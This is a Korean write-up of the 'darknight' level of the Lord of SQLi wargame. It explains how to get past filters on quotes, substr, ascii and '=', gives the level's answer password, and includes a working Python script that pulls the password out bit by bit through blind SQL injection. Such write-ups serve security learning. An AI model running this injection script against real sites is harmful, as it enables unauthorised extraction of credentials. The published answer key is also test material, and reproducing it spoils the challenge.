LOS - darknight / level 12

문제

풀이 과정

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 

pw 에 싱글쿼터를 / no에 싱글쿼터와 substr ascii = 을 필터링 함을 알 수있다

substr과 ascii는 mid / bin(ord())로 우회한다

 

lpad를 통해 8자리로 고정을 시킨 후 비트 마스킹을 진행

 

mid(lpad(bin(ord(mid(pw,1,1))), 8,0) ,1,1) = "1"

 

정답

?pw=0b70ea1f

코드

import requests

url = "input your url"
cookie = {input your cookie}
user = "input your user"

def change(array):
    c_result = []
    for i in range(len(array)):
        c_result.append(chr(int(array[i],2)))
    return c_result

def find_length(url, cookie, user):
    i = 1
    while True:
        params = f'?no=1 or id like "{user}" and length(pw) > {i}%23'
        send_url = url + params

        res = requests.get(send_url, cookies=cookie)
        print(params)
        if 'Hello admin' not in res.text:
            break
        i += 1
    return i
   
def blind(url, cookie, user,length):
    result = []
    for i in range(1,length + 1):
        two = 2
        result_str = ""

        for k in range(1,9):
            params = f'?no=1 or id like "{user}" and mid(lpad(bin(ord(mid(pw,{i},1))),8,0),{k},1) like "1"%23'
            send_url = url + params

            res = requests.get(send_url, cookies=cookie)

            if "Hello admin" in res.text:
                result_str = result_str + "1"
            else:
                result_str = result_str + "0"
        print(f"{i} : {result_str}")
        result.append(result_str)
    return result

def print_str(array):
    result = ""
    for i in range(len(array)):
        result += array[i]
    return result

length = find_length(url, cookie, user)

print(length)

result = blind(url, cookie, user, length)
print(result)

c_result = change(result)
print(c_result)

result_str = print_str(c_result)
print(result_str)